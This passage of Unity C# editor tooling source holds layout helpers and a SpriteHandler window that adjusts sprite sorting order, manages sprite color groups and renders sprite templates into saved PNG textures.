Rect _position = EditorGUILayout.GetControlRect(true, EditorGUIUtility.singleLineHeight);
// Draw it
EditorGUIEnhanced.ReadOnlyProperty(_position, _property, _label, _useRadioToggle);
}
#endregion
#endregion
#region Decorator Drawers
/***************************
******* SECTION *******
**************************/
/// <summary>
/// Draw a section, a header-like usefull to order your editor.
/// </summary>
/// <param name="_label">Label to display.</param>
/// <param name="_lineWidth">Width of the lines surrounding the label (in pixels).</param>
public static void Section(GUIContent _label, float _lineWidth) => Section(_label, _lineWidth, SectionAttribute.DefaultHeightSpace);
/// <summary>
/// Draw a section, a header-like usefull to order your editor.
/// </summary>
/// <param name="_label">Label to display.</param>
/// <param name="_lineWidth">Width of the lines surrounding the label (in pixels).</param>
/// <param name="_heightSpace">Space on top and bottom of the section (in pixels).</param>
public static void Section(GUIContent _label, float _lineWidth, float _heightSpace)
{
// Get section rect
Rect _position = EditorGUILayout.GetControlRect(true, (EditorGUIUtility.singleLineHeight + _heightSpace) * 2);
// Draw it
EditorGUIEnhanced.Section(_position, _label, _lineWidth);
}
/*******************************
***** HORIZONTAL LINE *****
******************************/
/// <summary>
/// Draw a horizontal line.
/// </summary>
/// <param name="_color">Color of the line.</param>
public static void HorizontalLine(Color _color) => HorizontalLine(HorizontalLineAttribute.DefaultHeight, 0, _color);
/// <summary>
/// Draw a horizontal line.
/// </summary>
/// <param name="_height">Line height.</param>
/// <param name="_color">Color of the line.</param>
public static void HorizontalLine(float _height, Color _color) => HorizontalLine(_height, 0, _color);
/// <summary>
/// Draw a horizontal line.
/// </summary>
/// <param name="_height">Line height.</param>
/// <param name="_width">Line width ; 0 is full width.</param>
/// <param name="_color">Color of the line.</param>
public static void HorizontalLine(float _height, float _width, Color _color)
{
// Get line rect
Rect _position = EditorGUILayout.GetControlRect(false, _height + EditorGUIUtility.singleLineHeight);
_position.y += (EditorGUIUtility.singleLineHeight / 2f) - 1;
_position.height = _height;
// Draw line
EditorGUIEnhanced.HorizontalLine(_position, _width, _color);
}
#endregion
}
}
<file_sep>/Assets/Tools/Sprite Handler/Editor/SpriteHandler.cs
// ======= Created by <NAME> - https://github.com/LucasJoestar ======= //
//
// Notes :
//
// ========================================================================== //
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using UnityEditor;
using UnityEditor.SceneManagement;
using UnityEditorInternal;
using UnityEngine;
public class SpriteHandler : EditorWindow
{
#region Fields
private const string editorPrefsKey = "SpritesEditorPrefs";
[SerializeField] private int mode = 0;
private readonly GUIContent[] modes = new GUIContent[]
{
new GUIContent("General", "General sprite parameters helper."),
new GUIContent("Color Manager", "Manage all loaded scene(s) sprites color."),
new GUIContent("Sprite Scraper", "Create new sprites from multiple ones.")
};
#endregion
#region Handler Systems
#region General Mode
// -------------------------------------------
// General Mode
// -------------------------------------------
private const string descriptionMessage = "If you select a GameObject in the scene hierarchy, the following commands will affect all its SpriteRenderers" +
"(with the ones in children, if the associated option is enabled) ; pretty useful to increment multiple sprites" +
"order in layer at once.";
private const string sortingOrderUndoName = "Increment Sprites Sorting Order";
private readonly GUIContent childrenSpritesGUI = new GUIContent("Use Children Sprites",
"Should the commands automatically affect selected GameObject(s) children sprites or not.");
private readonly GUIContent sortingOrderIncrementGUI = new GUIContent("Sorting Order Increment value",
"Value used to increment sprites and sprite masks sorting order.");
private readonly GUIContent incrementButtonGUI = new GUIContent("Increment Sorting Order",
"Increment selected GameObject(s) related sprites and sprite masks sorting order.");
[SerializeField] private bool doUseChildrenSprites = true;
[SerializeField] private int sortingOrderIncrementValue = 0;
// ----------------
private void DrawGeneralMode()
{
GUILayout.Space(5);
EditorGUILayout.HelpBox(descriptionMessage, MessageType.Info, true);
doUseChildrenSprites = EditorGUILayout.Toggle(childrenSpritesGUI, doUseChildrenSprites);
GUILayout.Space(10);
sortingOrderIncrementValue = EditorGUILayout.IntField(sortingOrderIncrementGUI, sortingOrderIncrementValue, GUILayout.Width(200));
// Increment button.
if ((Selection.gameObjects.Length > 0) && GUILayout.Button(incrementButtonGUI, GUILayout.Height(25), GUILayout.Width(200)))
{
List<SpriteRenderer> _sprites = new List<SpriteRenderer>();
List<SpriteMask> _masks = new List<SpriteMask>();
if (doUseChildrenSprites)
{
for (int _i = 0; _i < Selection.gameObjects.Length; _i++)
{
_sprites.AddRange(Selection.gameObjects[_i].GetComponentsInChildren<SpriteRenderer>());
_masks.AddRange(Selection.gameObjects[_i].GetComponentsInChildren<SpriteMask>());
}
}
else
{
for (int _i = 0; _i < Selection.gameObjects.Length; _i++)
{
_sprites.AddRange(Selection.gameObjects[_i].GetComponents<SpriteRenderer>());
_masks.AddRange(Selection.gameObjects[_i].GetComponents<SpriteMask>());
}
}
// Increment all sprites and masks sorting order.
if (_sprites.Count > 0)
{
Undo.RecordObjects(_sprites.ToArray(), sortingOrderUndoName);
for (int _i = 0; _i < _sprites.Count; _i++)
{
_sprites[_i].sortingOrder += sortingOrderIncrementValue;
}
}
if (_masks.Count > 0)
{
Undo.RecordObjects(_masks.ToArray(), sortingOrderUndoName);
for (int _i = 0; _i < _masks.Count; _i++)
{
_masks[_i].backSortingOrder += sortingOrderIncrementValue;
_masks[_i].frontSortingOrder += sortingOrderIncrementValue;
}
}
}
}
#endregion
#region Color Manager
// -------------------------------------------
// Color Manager
// -------------------------------------------
private const string resetMessage = "Are you sure you want to reset all of your color groups ? This action cannot be undone.";
private const string loadMessage = "Are you sure you want to load saved color groups ? Actual color groups will be override ; this action cannot be undone.";
private readonly GUIContent rangeGUI = new GUIContent("Range", "Range loaded groups by name.");
private readonly GUIContent refreshGUI = new GUIContent("Refresh", "Load open scenes missing sprites.");
private readonly GUIContent resetGUI = new GUIContent("Reset", "Clear all groups and reload all sprites from zero point.");
private readonly GUIContent loadGUI = new GUIContent("Load", "Load saved color groups of opened scene");
private readonly GUIContent saveGUI = new GUIContent("Save", "Save actual color groups");
private int selectedGroup = -1;
private bool isInFusionMode = false;
private ColorGroup[] colorGroups = new ColorGroup[] { };
[SerializeField] private List<string> sceneGroups = new List<string>();
[SerializeField] private List<string> sceneGroupsName = new List<string>();
// ----------------
private void DrawColorManager()
{
// Get non-assignated color groups and associate them with matching one if found
for (int _i = 0; _i < colorGroups.Length; _i++)
{
colorGroups[_i].Sprites = colorGroups[_i].Sprites.Where(s => (s != null) && s.enabled).ToList();
SpriteRenderer[] _differents = colorGroups[_i].Sprites.Where(s => s.color != colorGroups[_i].Color).ToArray();
if (_differents.Length > 0)
{
if (_differents.Length == colorGroups[_i].Sprites.Count)
{
colorGroups[_i].Color = _differents[0].color;
}
else
{
foreach (SpriteRenderer _sprite in _differents)
{
colorGroups[_i].Sprites.Remove(_sprite);
LoadSprite(_sprite);
}
}
}
if (colorGroups[_i].Sprites.Count == 0)
{
colorGroups = colorGroups.Where(g => g != colorGroups[_i]).ToArray();
Repaint();
}
}
// Draw color groups editor
GUILayout.Space(5);
EditorGUILayout.LabelField(new GUIContent("Level Colors", "All colors of the loaded sprites in the level"), EditorStyles.boldLabel);
if (colorGroups.Length == 0)
{
GUILayout.Space(5);
EditorGUILayout.HelpBox(new GUIContent("No sprites loaded !", "Click on the \"Load Sprites\" button to get sprites of the scene, or add some to load them next"));
return;
}
// Draw all folders & color groups !!
#region Color Groups
ColorGroup _colorGroup;
for (int _i = 0; _i < colorGroups.Length; _i++)
{
_colorGroup = colorGroups[_i];
if (selectedGroup == _i) GUI.backgroundColor = new Color(.7f, .7f, .7f);
else GUI.backgroundColor = Color.white;
GUILayout.Space(3);
EditorGUILayout.BeginHorizontal(selectedGroup == _i ? "HelpBox" : EditorStyles.inspectorDefaultMargins);
// Draw fusion mode buttons
if (!_colorGroup.isSelected && (isInFusionMode || (Selection.gameObjects.Length > 0)))
{
Color _original = GUI.color;
GUI.color = isInFusionMode ? new Color(0, .75f, 0, 1) : new Color(.5f, .5f, .8f, 1);
if (GUILayout.Button("F", GUILayout.Width(20), GUILayout.Height(EditorGUIUtility.singleLineHeight)))
{
if (isInFusionMode)
{
ColorGroup[] _groups = colorGroups.Where(g => g.isSelected).ToArray();
foreach (ColorGroup _group in _groups)
{
Undo.RecordObjects(_group.Sprites.ToArray(), "fusion sprite groups color");
foreach (SpriteRenderer _sprite in _group.Sprites)
{
_sprite.color = _colorGroup.Color;
}
_colorGroup.Sprites.AddRange(_group.Sprites);
}
colorGroups = colorGroups.Except(_groups).ToArray();
isInFusionMode = false;
Repaint();
}
else
{
SpriteRenderer[] _sprites = Selection.gameObjects.ToList().SelectMany(s => doUseChildrenSprites ? s.GetComponentsInChildren<SpriteRenderer>() : s.GetComponents<SpriteRenderer>()).ToArray();
Undo.RecordObjects(_sprites, "fusion sprite groups color");
foreach (SpriteRenderer _sprite in _sprites)
{
_sprite.color = _colorGroup.Color;
}
_colorGroup.Sprites.AddRange(_sprites);
}
}
GUI.color = _original;
}
else GUILayout.Space(28);
// Draw color group
EditorGUI.BeginChangeCheck();
_colorGroup.Name = EditorGUILayout.TextField(_colorGroup.Name, GUILayout.Width(250));
if (EditorGUI.EndChangeCheck()) selectedGroup = _i;
if (GUILayout.Button($"({_colorGroup.Sprites.Count})", EditorStyles.label, GUILayout.Width(50)))
{
foreach (SpriteRenderer _sprite in _colorGroup.Sprites)
{
Debug.Log($"CG \"{_colorGroup.Name}\" => {_sprite.name}");
}
}
GUILayout.FlexibleSpace();
EditorGUI.BeginChangeCheck();
_colorGroup.Color = EditorGUILayout.ColorField(_colorGroup.Color);
if (EditorGUI.EndChangeCheck())
{
selectedGroup = _i;
Undo.RecordObjects(_colorGroup.Sprites.ToArray(), "change sprites group color");
_colorGroup.Sprites.ForEach(s => s.color = _colorGroup.Color);
}
bool _selected = EditorGUILayout.Toggle(_colorGroup.isSelected, GUILayout.Width(15));
if (_selected != _colorGroup.isSelected)
{
_colorGroup.isSelected = _selected;
if (_selected)
{
if (!isInFusionMode) isInFusionMode = true;
}
else if (!colorGroups.Any(g => g.isSelected)) isInFusionMode = false;
}
GUILayout.Space(5);
EditorGUILayout.EndHorizontal();
}
#endregion
GUILayout.Space(10);
}
private void DrawColorManagerToolbar()
{
GUILayout.FlexibleSpace();
if (GUILayout.Button(rangeGUI, EditorStyles.toolbarButton))
{
colorGroups = colorGroups.OrderBy(g => g.Color.grayscale).ToArray();
colorGroups = colorGroups.OrderBy(g => g.Name).ToArray();
}
if (GUILayout.Button(refreshGUI, EditorStyles.toolbarButton))
LoadSprites();
GUILayout.Space(15);
// Reset
if (GUILayout.Button(resetGUI, EditorStyles.toolbarButton) && EditorUtility.DisplayDialog(confirmDialogTitle, resetMessage, confirmDialogOK, confirmDialogCancel))
{
colorGroups = new ColorGroup[] { };
LoadSprites();
Repaint();
}
GUILayout.Space(10);
// Load
if (GUILayout.Button(loadGUI, EditorStyles.toolbarButton) && EditorUtility.DisplayDialog(confirmDialogTitle, loadMessage, confirmDialogOK, confirmDialogCancel))
{
string _sceneName = EditorSceneManager.GetActiveScene().name;
for (int _i = 0; _i < sceneGroupsName.Count; _i++)
{
if (sceneGroupsName[_i] == _sceneName)
{
string[] _groups = sceneGroups[_i].Split('\n');
string[] _groupColor = new string[] { };
string _groupName = string.Empty;
colorGroups = new ColorGroup[_groups.Length - 1];
for (int _j = 0; _j < _groups.Length - 1; _j++)
{
_groupName = _groups[_j].Split('|')[0];
_groupColor = _groups[_j].Split('|')[1].Split('#');
colorGroups[_j] = new ColorGroup(new Color(float.Parse(_groupColor[0]), float.Parse(_groupColor[1]), float.Parse(_groupColor[2]), float.Parse(_groupColor[3])), _groupName);
}
LoadSprites();
break;
}
}
}
// Save
if (GUILayout.Button(saveGUI, EditorStyles.toolbarButton))
{
string _file = string.Empty;
foreach (ColorGroup _group in colorGroups)
{
_file += $"{_group.Name}|{_group.Color.r}#{_group.Color.g}#{_group.Color.b}#{_group.Color.a}\n";
}
bool _isSaved = false;
string _sceneName = EditorSceneManager.GetActiveScene().name;
for (int _i = 0; _i < sceneGroupsName.Count; _i++)
{
if (sceneGroupsName[_i] == _sceneName)
{
sceneGroups[_i] = _file;
_isSaved = true;
break;
}
}
if (!_isSaved)
{
sceneGroupsName.Add(_sceneName);
sceneGroups.Add(_file);
}
}
}
// ----------------
private void LoadSprites()
{
SpriteRenderer[] _sprites = FindObjectsOfType<SpriteRenderer>();
foreach (SpriteRenderer _sprite in _sprites)
{
if (_sprite.enabled)
LoadSprite(_sprite);
}
}
private void LoadSprite(SpriteRenderer _sprite)
{
ColorGroup _matching = colorGroups.Where(c => c.Color == _sprite.color).FirstOrDefault();
if (_matching == null)
{
colorGroups = colorGroups.Append(new ColorGroup(_sprite.color, new SpriteRenderer[] { _sprite })).OrderBy(g => g.Name).ToArray();
}
else if (!_matching.Sprites.Contains(_sprite))
{
_matching.Sprites.Add(_sprite);
}
}
#endregion
#region Sprite Scraper
// -------------------------------------------
// Sprite Scraper
// -------------------------------------------
private const string textureExtension = ".png";
private const string saveAsMenuPath = "File/Save As...";
private const string browseIconName = "BrowseIcon.png";
private const string cleanButton = "Clean";
private const string cleanMessage = "Are you sure you want to clean your template list ?";
private const string removeUnusedButton = "Remove Unused";
private const string removeUnusedMessage = "Are you sure you want to remove all unused (disabled) templates from the list ?";
private const string confirmDialogTitle = "Confirm this action";
private const string confirmDialogOK = "Yes";
private const string confirmDialogCancel = "Cancel";
private const string textureFolderPanel = "Select a folder where to save Sprite Scraper created textures.";
private const string invalidFolderMessage = "Invalid folder. Please select a directory from your project Assets folder.";
private const string noUnlitMessage = "No unlit material assign. Disabling light bake option will not be taken into account.";
private const string noTemplateMessage = "No template selected. You must assign a template to create sprite from !";
private const int toggleWidth = 13;
private const int tmpSeparator = 5;
private const int tmpBakeWidth = 50;
private const int tmpPOTWidth = 80;
[SerializeField] private int scraperMode = 0;
private readonly GUIContent[] scraperModes = new GUIContent[]
{
new GUIContent("New Scene", "Create a new scene with all templates replaced by new sprites."),
new GUIContent("Merge Scraps", "Create new sprites based on each template."),
new GUIContent("Merge (No Save)", "Create new sprite based on each template, but do not save textures " +
"(Useful for test only).")
};
private readonly GUIContent settingsGUI = new GUIContent("Settings", "Show / Hide sprite scraper settings.");
private readonly GUIContent saveTextureFolderGUI = new GUIContent("Save Texture Folder", "Folder where to save sprite created textures.");
private readonly GUIContent unlitMaterialGUI = new GUIContent("Unlit Material", "Material used when light bake option is disabled.");
private readonly GUIContent templatesHeaderGUI = new GUIContent("Templates", "Sprite Scraper templates.");
private readonly GUIContent templateRootParamGUI = new GUIContent("Template Root", "Root transform of the sprites to use as template");
private readonly GUIContent bakeLightParam1GUI = new GUIContent("Bake", "Should lights be baked with template or not.");
private readonly GUIContent bakeLightParam2GUI = new GUIContent("Lights", "Should lights be baked with template or not.");
private readonly GUIContent PowerOfTwoParam1GUI = new GUIContent("Power of Two", "Should created sprite use a power of two dimensions texture or not" +
"(You can disable this if using the created texture in a sprite atlas).");
private readonly GUIContent PowerOfTwoParam2GUI = new GUIContent("Texture", "Should created sprite use a power of two dimensions texture or not" +
"(You can disable this if using the created texture in a sprite atlas).");
private readonly GUIContent layerParamGUI = new GUIContent("Layer", "Created sprite layer.");
private readonly GUIContent orderInLayerParamGUI = new GUIContent("Order in Layer", "Created sprite order in layer.");
private readonly GUIContent materialParamGUI = new GUIContent("Material", "Created sprite assigned material (Null if default).");
private readonly GUIContent mergeScrapsGUI = new GUIContent("Merge Scraps", "Merge all templates scraps into new sprites according to selected mode.");
private readonly Color separatorColor = new Color(.7f, .7f, .7f);
private readonly Color disableElementColor = new Color(.4f, .4f, .4f, .5f);
// Cannot initialize a GUIStyle outside of a OnGUI method,
// so check if initialization is required or not.
private bool areGUIStylesInitialized = false;
private GUIStyle headerInfoStyle = null;
private bool areSettingsUnfolded = false;
private bool doDisplayInvalidFolderMessage = false;
private bool doDisplayNoTemplateMessage = false;
[SerializeField] private string saveTextureFolder = "Assets/";
[SerializeField] private Material unlitMaterial = null;
// Templates
[SerializeField] private List<SpriteTemplate> templates = new List<SpriteTemplate>();
private ReorderableList templatesList = null;
// ----------------
private void DrawSpriteScraper()
{
// GUIStyles initialization.
if (!areGUIStylesInitialized)
{
areGUIStylesInitialized = true;
headerInfoStyle = new GUIStyle(EditorStyles.label);
headerInfoStyle.alignment = TextAnchor.MiddleCenter;
}
// Sprite Scraper mode
GUILayout.Space(5);
EditorGUILayout.BeginHorizontal();
GUILayout.FlexibleSpace();
scraperMode = GUILayout.Toolbar(scraperMode, scraperModes, GUI.skin.button, GUI.ToolbarButtonSize.FitToContents, GUILayout.Height(25));
EditorGUILayout.EndHorizontal();
// Settings
areSettingsUnfolded = EditorGUILayout.Foldout(areSettingsUnfolded, settingsGUI, true);
if (areSettingsUnfolded)
{
EditorGUI.indentLevel++;
// Save texture folder.
EditorGUILayout.BeginHorizontal();
EditorGUILayout.TextField(saveTextureFolderGUI, saveTextureFolder);
Rect _rect = EditorGUILayout.GetControlRect(false, 16, GUILayout.Width(16));
_rect.Set
(
_rect.x - 2,
_rect.y - 1,
_rect.width + 2,
_rect.height + 1
);
if (GUI.Button(_rect, GUIContent.none))
{
string _folder = EditorUtility.OpenFolderPanel(textureFolderPanel, string.Empty, string.Empty);
if (_folder.Contains(Application.dataPath))
{
doDisplayInvalidFolderMessage = false;
saveTextureFolder = _folder.Remove(0, Application.dataPath.Length - 6) + Path.AltDirectorySeparatorChar;
}
else
doDisplayInvalidFolderMessage = true;
}
_rect.width = 30;
_rect.x -= (_rect.width / 2) - 2;
_rect.y += 1;
EditorGUI.LabelField(_rect, EditorGUIUtility.IconContent(browseIconName));
EditorGUILayout.EndHorizontal();
if (doDisplayInvalidFolderMessage)
{
EditorGUILayout.HelpBox(invalidFolderMessage, MessageType.Error);
}
// Unlit material.
unlitMaterial = (Material)EditorGUILayout.ObjectField(unlitMaterialGUI, unlitMaterial, typeof(Material), false);
EditorGUI.indentLevel--;
}
if (!unlitMaterial)
{
EditorGUILayout.HelpBox(noUnlitMessage, MessageType.Warning);
}
GUILayout.Space(5);
EditorGUI.DrawRect(EditorGUILayout.GetControlRect(false, 1), Color.grey);
GUILayout.Space(5);
templatesList.DoLayoutList();
// List cleaner buttons
GUILayout.BeginHorizontal();
GUILayout.FlexibleSpace();
if (GUILayout.Button(cleanButton) && EditorUtility.DisplayDialog(confirmDialogTitle, cleanMessage, confirmDialogOK, confirmDialogCancel))
{
templates.Clear();
}
if (GUILayout.Button(removeUnusedButton) && EditorUtility.DisplayDialog(confirmDialogTitle, removeUnusedMessage, confirmDialogOK, confirmDialogCancel))
{
for (int _i = 0; _i < templates.Count; _i++)
{
if (!templates[_i].IsSelected)
{
templates.RemoveAt(_i);
_i--;
}
}
}
GUILayout.EndHorizontal();
// Merge scraps into beautiful artworks.
if (GUILayout.Button(mergeScrapsGUI, GUILayout.MaxWidth(100), GUILayout.Height(25)))
{
#region Scraper
if (templates.Count > 0)
{
doDisplayNoTemplateMessage = false;
// Create and configure camera used to capture templates.
Camera _renderCamera = new GameObject().AddComponent<Camera>();
Rect _viewport = new Rect(0, 0, 1, 1);
_renderCamera.orthographic = true;
_renderCamera.clearFlags = CameraClearFlags.SolidColor;
_renderCamera.backgroundColor = Color.clear;
_renderCamera.cullingMask = ~2;
_renderCamera.allowDynamicResolution = true;
Renderer[] _allRenderers = FindObjectsOfType<Renderer>();
GameObject[] _artworks = new GameObject[templates.Count];
int[] _artworksLayer = new int[templates.Count];
for (int _n = 0; _n < templates.Count; _n++)
{
if (!templates[_n].IsSelected || !templates[_n].Root)
continue;
SpriteTemplate _template = templates[_n];
SpriteRenderer[] _sprites = _template.Root.GetComponentsInChildren<SpriteRenderer>();
SpriteMask[] _masks = _template.Root.GetComponentsInChildren<SpriteMask>();
// Set template bounds volume entirely in camera view.
Bounds _bounds = new Bounds(_sprites[0].bounds.center, _sprites[0].bounds.size);
for (int _i = 1; _i < _sprites.Length; _i++)
{
_bounds.Encapsulate(_sprites[_i].bounds);
}
_renderCamera.orthographicSize = 5;
_renderCamera.transform.position = new Vector3(_bounds.center.x, _bounds.center.y, _bounds.center.z - 10);
while (!(_viewport.Contains(_renderCamera.WorldToViewportPoint(_bounds.min)) && _viewport.Contains(_renderCamera.WorldToViewportPoint(_bounds.max))))
{
_renderCamera.orthographicSize++;
}
// Set all visible renderers on a different layer (not visible anymore).
Plane[] _frustrumPlanes = GeometryUtility.CalculateFrustumPlanes(_renderCamera);
Dictionary<GameObject, int> _renderers = new Dictionary<GameObject, int>();
for (int _i = 0; _i < _allRenderers.Length; _i++)
{
if (GeometryUtility.TestPlanesAABB(_frustrumPlanes, _allRenderers[_i].bounds) &&
!_sprites.Contains(_allRenderers[_i]) && !_masks.Contains(_allRenderers[_i]) &&
!_renderers.ContainsKey(_allRenderers[_i].gameObject))
{
_renderers.Add(_allRenderers[_i].gameObject, _allRenderers[_i].gameObject.layer);
_allRenderers[_i].gameObject.layer = 1;
}
}
// Get artwork texture information and capture template.
Vector2 _offset = _renderCamera.WorldToScreenPoint(_bounds.min);
Vector2 _boundsSize = (Vector2)_renderCamera.WorldToScreenPoint(_bounds.max) - _offset;
Vector2Int _size;
if (_template.DoUsePowerOfTwoTexture)
{
_size = new Vector2Int(Mathf.NextPowerOfTwo((int)_boundsSize.x), Mathf.NextPowerOfTwo((int)_boundsSize.y));
}
else
_size = new Vector2Int((int)_boundsSize.x,(int)_boundsSize.y);
RenderTexture _renderTexture = new RenderTexture(_renderCamera.pixelWidth, _renderCamera.pixelHeight, 32);
RenderTexture.active = _renderTexture;
_renderCamera.targetTexture = _renderTexture;
// Set template sprites material to unlit if not baking light.
Material[] _spritesMaterial = null;
bool _doNotBakeLight = !_template.DoBakeLights && unlitMaterial;
if (_doNotBakeLight)
{
_spritesMaterial = new Material[_sprites.Length];
for (int _i = 0; _i < _sprites.Length; _i++)
{
_spritesMaterial[_i] = _sprites[_i].sharedMaterial;
_sprites[_i].material = unlitMaterial;
}
}
_renderCamera.Render();
// Restore template sprites material.
if (_doNotBakeLight)
{
for (int _i = 0; _i < _sprites.Length; _i++)
{
_sprites[_i].material = _spritesMaterial[_i];
}
}
// Reset renderers layer.
foreach (KeyValuePair<GameObject, int> _renderer in _renderers)
{
_renderer.Key.layer = _renderer.Value;
}
// Create full transparent texture, then paint capture on it.
var _capture = new Texture2D(_size.x, _size.y, TextureFormat.RGBA32, false);
Color[] _colors = _capture.GetPixels();
for (int _i = 0; _i < _colors.Length; _i++)
{
_colors[_i] = Color.clear;
}
_capture.SetPixels(_colors);
// Reversed Y starting position
_capture.ReadPixels(new Rect(_offset.x, _renderCamera.pixelHeight - _offset.y - _boundsSize.y, _boundsSize.x, _boundsSize.y), 0, 0);
_capture.Apply();
// Create artwork based on template.
SpriteRenderer _artwork = new GameObject(_template.Root.name).AddComponent<SpriteRenderer>();
Vector2 _pivot = new Vector2((_boundsSize.x * .5f) / _size.x, 0);
float _pixelPerUnit = _renderCamera.pixelHeight / (_renderCamera.orthographicSize * 2f);
_artwork.gameObject.layer = 1;
_artwork.sortingOrder = _template.OrderInLayer;
_artwork.transform.position = new Vector3(_bounds.min.x + _bounds.extents.x, _bounds.min.y, _bounds.center.z);
if (_template.Material)
_artwork.material = _template.Material;
_artworks[_n] = _artwork.gameObject;
_artworksLayer[_n] = _template.Layer;
// Save texture according to selected mode.
if (scraperMode < 2)
{
string _path = Application.dataPath + saveTextureFolder.Remove(0, 6);
if (!Directory.Exists(_path))
Directory.CreateDirectory(_path);
// Get unique file path.
_path += _artwork.name + textureExtension;
if (File.Exists(_path))
{
string _originalPath = _path.Insert(_path.Length - 4, "_");
int _number = 0;
do
{
_path = _originalPath.Insert(_originalPath.Length - 4, _number.ToString());
_number++;
} while (File.Exists(_path));
}
// Save texture as PNG.
File.WriteAllBytes(_path, _capture.EncodeToPNG());
_path = _path.Remove(0, Application.dataPath.Length - 6);
AssetDatabase.ImportAsset(_path, ImportAssetOptions.ForceUpdate);
TextureImporter _importer = (TextureImporter)AssetImporter.GetAtPath(_path);
TextureImporterSettings _settings = new TextureImporterSettings();
_importer.textureType = TextureImporterType.Sprite;
_importer.spritePixelsPerUnit = _pixelPerUnit;
_importer.ReadTextureSettings(_settings);
_settings.spriteAlignment = (int)SpriteAlignment.Custom;
_importer.SetTextureSettings(_settings);
_importer.spritePivot = _pivot;
_importer.SaveAndReimport();
_artwork.sprite = AssetDatabase.LoadAssetAtPath<Sprite>(_path);
}
else
_artwork.sprite = Sprite.Create(_capture, new Rect(0, 0, _size.x, _size.y), _pivot, _pixelPerUnit);
}
// Replace templates by artworks on new scene mode.
if (scraperMode == 0)
{
for (int _i = 0; _i < _artworks.Length; _i++)
{
if (_artworks[_i] && templates[_i].Root)
{
_artworks[_i].transform.SetParent(templates[_i].Root.parent);
try
{
DestroyImmediate(templates[_i].Root.gameObject);
}
catch (InvalidOperationException)
{
GameObject _prefabRoot = PrefabUtility.GetOutermostPrefabInstanceRoot(templates[_i].Root.gameObject);
PrefabUtility.UnpackPrefabInstance(_prefabRoot, PrefabUnpackMode.Completely, InteractionMode.AutomatedAction);
DestroyImmediate(templates[_i].Root.gameObject);
}
}
}
// Save scene as new one.
templates.Clear();
EditorApplication.ExecuteMenuItem(saveAsMenuPath);
}
// Set artowrks layer.
for (int _i = 0; _i < _artworks.Length; _i++)
{
if (_artworks[_i])
_artworks[_i].layer = _artworksLayer[_i];
}
// Clean capture tools.
DestroyImmediate(_renderCamera.gameObject);
RenderTexture.active = null;
}
else
doDisplayNoTemplateMessage = true;
#endregion
}
if (doDisplayNoTemplateMessage)
EditorGUILayout.HelpBox(noTemplateMessage, MessageType.Error);
}
// ----------------
private void DrawTemplatesHeader(Rect _rect)
{
Rect _fieldRect = new Rect()
{
x = -1,
y = _rect.y + EditorGUIUtility.singleLineHeight,
width = Screen.width,
height = _rect.height - EditorGUIUtility.singleLineHeight + 5
};
// Draw header background color & separators.
EditorGUI.LabelField(_fieldRect, GUIContent.none, ReorderableList.defaultBehaviours.boxBackground);
_fieldRect.height = 1;
EditorGUI.DrawRect(_fieldRect, separatorColor);
_fieldRect.y = _rect.yMax;
EditorGUI.DrawRect(_fieldRect, separatorColor);
// Header
_fieldRect.Set
(
_rect.x,
_rect.y,
_rect.width,
EditorGUIUtility.singleLineHeight
);
EditorGUI.LabelField(_fieldRect, templatesHeaderGUI, EditorStyles.boldLabel);
// Parameter infos
_fieldRect.x = _rect.xMax - tmpPOTWidth - tmpSeparator;
_fieldRect.y += EditorGUIUtility.singleLineHeight;
_fieldRect.width = tmpPOTWidth;
EditorGUI.LabelField(_fieldRect, PowerOfTwoParam1GUI, headerInfoStyle);
_fieldRect.y += EditorGUIUtility.singleLineHeight;
EditorGUI.LabelField(_fieldRect, PowerOfTwoParam2GUI, headerInfoStyle);
_fieldRect.x -= tmpBakeWidth + tmpSeparator;
_fieldRect.y -= EditorGUIUtility.singleLineHeight;
_fieldRect.width = tmpBakeWidth;
EditorGUI.LabelField(_fieldRect, bakeLightParam1GUI, headerInfoStyle);
_fieldRect.y += EditorGUIUtility.singleLineHeight;
EditorGUI.LabelField(_fieldRect, bakeLightParam2GUI, headerInfoStyle);
_fieldRect.width = _fieldRect.x - (_rect.x + toggleWidth + tmpSeparator);
_fieldRect.x = _fieldRect.x - _fieldRect.width;
_fieldRect.y -= EditorGUIUtility.singleLineHeight * .5f;
EditorGUI.LabelField(_fieldRect, templateRootParamGUI);
}
private void DrawTemplatesElement(Rect _rect, int _index, bool _isActive, bool _isFocus)
{
// Global settings.
Rect _fieldRect = new Rect()
{
x = _rect.x,
y = _rect.y,
width = toggleWidth,
height = EditorGUIUtility.singleLineHeight
};
templates[_index].IsSelected = EditorGUI.Toggle(_fieldRect, templates[_index].IsSelected);
_fieldRect.x = _rect.xMax - tmpSeparator - ((tmpPOTWidth + toggleWidth) / 2f);
templates[_index].DoUsePowerOfTwoTexture = EditorGUI.Toggle(_fieldRect, templates[_index].DoUsePowerOfTwoTexture);
_fieldRect.x = _rect.xMax - tmpPOTWidth - (tmpSeparator * 2) - ((tmpBakeWidth + toggleWidth) / 2f);
templates[_index].DoBakeLights = EditorGUI.Toggle(_fieldRect, templates[_index].DoBakeLights);
_fieldRect.x = _rect.x + toggleWidth + tmpSeparator;
_fieldRect.width = (_rect.xMax - tmpPOTWidth - tmpBakeWidth - (tmpSeparator * 3)) - _fieldRect.x;
templates[_index].Root = (Transform)EditorGUI.ObjectField(_fieldRect, templates[_index].Root, typeof(Transform), true);
// Additional settings.
_fieldRect.x = _rect.xMax - toggleWidth - 3;
_fieldRect.width = toggleWidth;
templates[_index].AreSettingsUnfolded = EditorGUI.Foldout(_fieldRect, templates[_index].AreSettingsUnfolded, GUIContent.none);
if (templates[_index].AreSettingsUnfolded)
{
_fieldRect.width = _rect.width * .8f;
_fieldRect.x = _rect.xMax - _fieldRect.width;
_fieldRect.y += EditorGUIUtility.singleLineHeight + 5;
templates[_index].Layer = EditorGUI.LayerField(_fieldRect, layerParamGUI, templates[_index].Layer);
_fieldRect.y += EditorGUIUtility.singleLineHeight;
templates[_index].OrderInLayer = EditorGUI.IntField(_fieldRect, orderInLayerParamGUI, templates[_index].OrderInLayer);
_fieldRect.y += EditorGUIUtility.singleLineHeight;
templates[_index].Material = (Material)EditorGUI.ObjectField(_fieldRect, materialParamGUI, templates[_index].Material, typeof(Material), false);
// Draw separator.
_fieldRect.Set
(
_rect.x + 17,
_rect.yMax - 3,
_rect.width - 50,
1
);
EditorGUI.DrawRect(_fieldRect, separatorColor);
}
// Color element in grey if not selected.
if (!templates[_index].IsSelected)
{
_fieldRect.Set
(
-1,
_rect.y - 2,
Screen.width,
_rect.height
);
EditorGUI.DrawRect(_fieldRect, disableElementColor);
}
}
private float GetTemplatesElementHeight(int _index)
{
